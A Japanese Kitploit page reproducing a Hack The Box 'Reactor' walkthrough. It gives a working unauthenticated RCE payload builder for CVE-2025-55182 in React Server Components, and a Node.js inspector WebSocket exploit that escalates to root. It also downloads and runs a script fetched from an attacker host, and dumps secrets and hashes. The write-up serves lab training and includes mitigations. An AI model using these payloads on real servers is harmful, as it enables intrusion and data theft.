Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — HTBのReactorマシンの完全なウォークスルー — CVE-2025-55182を悪用してシェルを取得し、露出したNode.jsデバッガー経由でrootを取得します。スクリーンショット付きのステップバイステップガイド。 | Kitploit
ツール/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
特権昇格偵察脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトCTFペネトレーションテスト学習と教育

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リモートアクセスツール
ラボと実践
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

HTBのReactorマシンの完全なウォークスルー — CVE-2025-55182を悪用してシェルを取得し、露出したNode.jsデバッガー経由でrootを取得します。スクリーンショット付きのステップバイステップガイド。

リポジトリを見る
112ヶ月前未レビュー

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] ネタバレ注意。 これはフラグを含む完全なウォークスルーです。自分でこのマシンを解きたい場合は、今すぐ閉じて、詰まったときに戻ってきてください。


マシン情報

FieldDetails
名前Reactor
OSUbuntu 24.04 LTS (Noble)
難易度Medium
CVECVE-2025-55182 (CVSS 10.0)
ポート22 (SSH), 3000 (Next.js)
作成者sonnycroco

概要

Reactor は、ReactorWatch と呼ばれる原子力発電所の監視ダッシュボードをテーマにしたマシンです。このマシンは2つの脆弱性を連鎖させることだけに焦点を当てており、推測も、寄り道も、ブルートフォースも一切不要です。

攻略ルートは次のとおりです。プレリリース版の React 19 ビルドが深刻なデシリアライゼーションの欠陥を露呈しており、単一の HTTP リクエストで認証なしのリモートコード実行が可能になります。そこから、root で実行されている Node.js デバッグポートに WebSocket メッセージを送るだけで、システム全体へのフルアクセスを獲得できます。

攻撃チェーン:

root@kitploit:~
Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

目次

  1. ステップ1: 偵察
  2. ステップ2: 技術スタックの特定
  3. ステップ3: CVE-2025-55182の悪用(認証なしRCE)
  4. ステップ4: nodeユーザーとして探索
  5. ステップ5: ユーザーフラグ
  6. ステップ6: 権限昇格
  7. ステップ7: ルートフラグ
  8. 得られた教訓
  9. 対策

ステップ1: 偵察

新しいマシンではまず、何がリッスンしているかを調べるのが最初の仕事です。見逃しがないように、サービス検出付きのフルポートスキャンを実行します。

root@kitploit:~
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
root@kitploit:~
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

ポート22と3000が開いておりNext.jsが特定されたNmapスキャン結果

ポートは2つだけです。今の段階では資格情報がないため、SSHは行き止まりです。ターゲットはポート3000です。Nmap はすでに Next.js 15.0.3 であることを示しており、これは有力な手掛かりです。


ステップ2: 技術スタックの特定

何かにエクスプロイトを投げる前に、動作しているすべての正確なバージョンを把握したいところです。HTTPヘッダーはすでに Next.js を明らかにしていますが、重要なのは React のバージョンです。React 19 は長い間プレリリースのままで、安定版が公開されるまでにいくつかの深刻な問題を抱えていました。

クライアントサイドの JavaScript チャンクを取得して確認します:

root@kitploit:~
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
root@kitploit:~
19.0.0-rc-66855b96-20241106

バージョン文字列に含まれる rc が動かぬ証拠です。これは React 19 のリリース候補ビルドであり、安定版ではありません。CVE データベースは、CVE-2025-55182 がまさにこのビルドに影響することを裏付けています。CVSS 10.0 です。

ついでに、ミドルウェアの手掛かりがないかヘッダーを確認します:

root@kitploit:~
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

どこにも x-middleware-rewrite ヘッダーがありません。つまり Next.js ミドルウェアはインストールされていません。これにより CVE-2025-29927(ミドルウェアバイパス)は対象外です。時間を無駄にしないために覚えておく価値があります。

判明していること:

  • experimental.serverActions が有効な Next.js 15.0.3
  • CVE-2025-55182 の影響を受ける React 19.0.0-rc
  • アプリ名: ReactorWatch(原子炉センサーダッシュボード)
  • ミドルウェアなし。したがって、ミドルウェアバイパスの CVE はここには適用されない

React 19.0.0-rc の検出と CVE-2025-55182 の特定を示す技術スタックの特定結果


ステップ3: CVE-2025-55182 の悪用(認証なしRCE)

脆弱性の内容

React 19 の Server Components は Server Actions を導入しました。これは、クライアントが Next-Action ヘッダー付きの HTTP POST で呼び出せるサーバーサイド関数です。これらのリクエストを処理する multipart ボディパーサーには重大な欠陥があり、$1:__proto__:then と呼ばれる参照型を安全でない方法でデシリアライズします。

_response._prefix を任意の JavaScript に設定する multipart ボディを細工することで、攻撃者はそのコードをサーバー上で評価させることができます。出力は、Next.js がリダイレクトに内部的に使用する例外(NEXT_REDIRECT)を通じて外部に持ち出され、最終的に x-action-redirect レスポンスヘッダー内に URL エンコードされた形で現れます。

どのページへの任意の POST でも、Next-Action ヘッダーがあればこの脆弱性が発動します。認証チェックも特別なエンドポイントもありません。ペイロードを / に送るだけで侵入完了です。

エクスプロイトの構築

シェルコマンドを入力として受け取り、multipart ペイロードを構築して、curl が送信できるようにディスクに書き込む小さな Python ヘルパー:

make_rce.py - ペイロードビルダー
root@kitploit:~
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

すべてをシェル関数にまとめて、擬似シェルのように使えるようにします:

root@kitploit:~
rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

生の HTTP やりとりです。コマンドの出力はリダイレクトヘッダーの中にそのまま現れています:

root@kitploit:~
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

実行

root@kitploit:~
rce "id"
# uid=999(node) gid=988(node) groups=988(node)

node サービスアカウントとして侵入しました。認証も、ブルートフォースも、ソーシャルエンジニアリングもありません。ただ1回の HTTP POST だけです。これが CVSS 10.0 の実戦での姿です。

リダイレクトヘッダーにコマンド出力が表示された CVE-2025-55182 の生の HTTP エクスプロイトリクエストとレスポンス

[!WARNING] 先に進む前に知っておくべき2つのこと:

  • execSync は同期処理で、レスポンスを処理するスレッドをブロックします。これを使ってリバースシェルを起動しようとしないでください。代わりに非同期の exec() を使わないとサーバーがハングします。
  • NEXT_REDIRECT のテンプレートリテラルは改行で壊れます。複数行の出力は必ず paste -sd, に通して1行に平坦化してから URL に含めてください。

ステップ4: node ユーザーとして探索

コード実行を確立したので、次の目標は環境を把握することです。このマシンに何があるのか、どんな資格情報が転がっているのか、より高い権限のユーザーへの明白な経路がないかを調べます。

アプリの設定を確認

root@kitploit:~
rce "cat /opt/reactor-app/.env | paste -sd,"
root@kitploit:~
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production

ディスク上に SQLite データベースがあります。中身を確認します:

root@kitploit:~
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
root@kitploit:~
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]

MD5 ハッシュを持つ admin アカウントがあります。John に rockyou を指定してクラックを試みましたが、割れません。まあ、本当の権限昇格経路が見つかればハッシュクラックは不要になるので問題ありません。これは脇に置いて続行します。

ユーザーとホームディレクトリを確認

root@kitploit:~
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root@kitploit:~
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash

engineer というユーザーがいます。ユーザーフラグはこのユーザーのホームディレクトリにあります。

[!NOTE] このマシンの一部のインスタンスでは、/home/engineer/ に 700 のパーミッションが設定されており、node サービスアカウントは直接読むことができません。その場合でも慌てないでください。ステップ6で説明する root への権限昇格経路を使えば、両方のフラグを root として読むことができます。


ステップ5: ユーザーフラグ

root@kitploit:~
rce "cat /home/engineer/user.txt"
root@kitploit:~
f7b714f9fdf5c08a5f240668792aa13f

お使いのインスタンスで /home/engineer/ がロックされている場合は、ステップ6に進んで両方のフラグを root として取得してください。


ステップ6: 権限昇格

root への経路を見つける

足場を確保したら、マシン上で実行中のプロセスを確認します。ps aux 全体は長いので、Node.js 関連のものだけをフィルタリングします:

root@kitploit:~
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
root@kitploit:~
node    1415  next-server (v15.0.3)
root    1417  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

これです。root として実行されているもう1つの Node.js プロセスが、--inspect フラグを 127.0.0.1:9229 にバインドして起動されています。これは誰かが Node.js デバッガを有効にしたまま放置しているアップタイム監視スクリプトです。

これが root を獲得できる理由

--inspect フラグは Chrome DevTools Protocol (CDP) を開きます。これはブラウザの開発者ツールが使うのと同じプロトコルです。接続すると、そのプロセスの V8 コンテキスト内で任意の JavaScript を評価するように指示できます。このプロセスは root として実行されているため、評価するものはすべて root として実行されます。

唯一の障壁は、デバッガが localhost にバインドされていることですが、すでに node としてこのマシン上でコード実行ができるため、問題なく到達できます。

デバッガが稼働していることを確認し、WebSocket の URL を取得します:

root@kitploit:~
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
root@kitploit:~
[{
  "description": "node.js instance",
  "id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]

[!IMPORTANT] WebSocket URL 内の UUID(1d85ee80-...)はプロセスインスタンスごとに一意です。あなたの環境では異なります。JSON 出力からコピーして、実行前にエクスプロイトスクリプト内で更新してください。

root の Node.js inspect プロセスと json エンドポイントから取得した WebSocket デバッガーURL を示す ps aux 出力

CDP エクスプロイトの作成

インスペクタに Runtime.evaluate コマンドを送るには WebSocket クライアントが必要です。ws npm パッケージはターゲットにないため、Node.js の組み込みモジュール(net による TCP 接続と crypto による WebSocket フレームのマスキング)だけを使って最小限のクライアントをゼロから書きます。

inspector_exploit.js - 依存関係ゼロの WebSocket CDP クライアント
root@kitploit:~
const net = require('net');
const crypto = require('crypto');

// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';

function encodeFrame(data) {
  const payload = Buffer.from(data, 'utf8');
  const mask = crypto.randomBytes(4);
  let headerLen = (payload.length < 126) ? 6 : 8;
  const header = Buffer.alloc(headerLen);
  header[0] = 0x81;
  if (payload.length < 126) {
    header[1] = 0x80 | payload.length;
    mask.copy(header, 2);
  } else {
    header[1] = 0xfe;
    header.writeUInt16BE(payload.length, 2);
    mask.copy(header, 4);
  }
  const masked = Buffer.alloc(payload.length);
  const maskStart = headerLen - 4;
  for (let i = 0; i < payload.length; i++) {
    masked[i] = payload[i] ^ header[maskStart + (i % 4)];
  }
  return Buffer.concat([header, masked]);
}

const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);

sock.on('connect', () => {
  sock.write(
    `GET /${WS_ID} HTTP/1.1\r\n` +
    `Host: 127.0.0.1:9229\r\n` +
    `Upgrade: websocket\r\n` +
    `Connection: Upgrade\r\n` +
    `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
    `Sec-WebSocket-Version: 13\r\n\r\n`
  );
});

sock.on('data', (data) => {
  chunks = Buffer.concat([chunks, data]);
  if (!upgraded) {
    const str = chunks.toString('utf8');
    const sep = str.indexOf('\r\n\r\n');
    if (sep === -1) return;
    upgraded = true;
    chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
    const msg = JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: { expression: CMD, returnByValue: true }
    });
    sock.write(encodeFrame(msg));
    return;
  }
  while (chunks.length > 2) {
    const b1 = chunks[1] & 0x7f;
    let payloadStart, payloadLen;
    if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
    else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
    if (chunks.length < payloadStart + payloadLen) return;
    process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
    sock.destroy();
    process.exit(0);
  }
});

sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);

[!WARNING] CDP の Runtime.evaluate 呼び出しの中では、worker.js 自体が CommonJS モジュールであっても、素の require() 関数はグローバルスコープに存在しません。process.mainModule.require(...) を使用する必要があります。素の require() を使用すると ReferenceError が発生し、出力は何も得られません。

エクスプロイトの配信と実行

攻撃マシンからスクリプトを配信します:

root@kitploit:~
python3 -m http.server 8080 --directory /tmp/www &

RCE チェーン経由でターゲット上にダウンロードして実行します:

root@kitploit:~
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"

レスポンス:

root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}

uid=0 として実行されているプロセス内で任意の JavaScript を評価できています。

uid=0 と root としてのコード実行を確認した CDP Runtime.evaluate のレスポンス


ステップ7: ルートフラグ

同じエクスプロイトで、CMD に入れるコマンドを変えるだけです:

root@kitploit:~
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root@kitploit:~
root.txt: 5c091a1960eb124c53910c1a1f456334

両方のフラグ(user.txt と root.txt)を取得し、マシンを完全に攻略した状態

最初のリクエストから root 到達までの合計時間: CVE を理解していれば10分未満です。ブルートフォースも、パスワードクラックも、寄り道もありません。


得られた教訓

1. Next.js の CVE が重なると決めつけない

CVE-2025-29927(ミドルウェアバイパス)は CVE-2025-55182 と同時期に話題になっていました。バイパスを試す前に、ミドルウェアが実際に存在するかどうかを常に確認してください。x-middleware-rewrite レスポンスヘッダーの有無ですぐに分かります。間違った CVE を追いかけると簡単に時間を浪費します。

2. execSync はリバースシェルを壊す

サブプロセスが終了するまでサーバーのレスポンス処理スレッド全体をブロックします。bash -i や netcat シェルをこれ経由で起動すると、両側がハングします。このエクスプロイトからインタラクティブシェルが必要な場合は、child_process の非同期 exec() を使用してください。

3. 外部への持ち出し前に複数行出力を平坦化する

コマンド出力は JavaScript のテンプレートリテラル NEXT_REDIRECT;push;/login?a=${res};307; に埋め込まれます。res 内のリテラルな改行はテンプレートリテラルを壊し、何も返しません。外部への持ち出し前に、すべての出力を paste -sd, に通して行を結合してください。

4. CDP コンテキストでは require はグローバルではない

Node.js インスペクタに Runtime.evaluate を送信すると、ターゲットプロセス自体が CommonJS モジュールであっても、CommonJS の require 関数をグローバルに公開しない V8 アイソレート内で実行されます。CDP 式の中では常に process.mainModule.require("module") を使用してください。

5. ホームディレクトリのパーミッションはインスタンスによって異なる

このマシンの一部のインスタンスでは、node サービスアカウントが /home/engineer/user.txt を直接読むことができます。別のインスタンスでは、ホームディレクトリの 700 パーミッションがそれをブロックします。root への権限昇格経路は常に機能し、どちらの場合でも両方のフラグを取得できます。


対策


ツールをダウンロード
VulnerabilityFix
CVE-2025-55182React を 19.0.0-rc から安定版の React 19 リリースにアップグレードする。Next.js をバージョン 15.2.3 以上にアップグレードする。
root での Node.js --inspectすべての本番プロセスから --inspect を完全に削除する。共有システムでは、127.0.0.1 であってもインスペクタをいかなるアドレスにもバインドしない。デバッグには専用の分離された環境を使用する。
アプリケーションディレクトリ内の SQLite DBデータベースを Web ルートの外に移動する。Web プロセスが必要最小限のものだけにアクセスできるよう、ファイルシステムのパーミッションを制限する。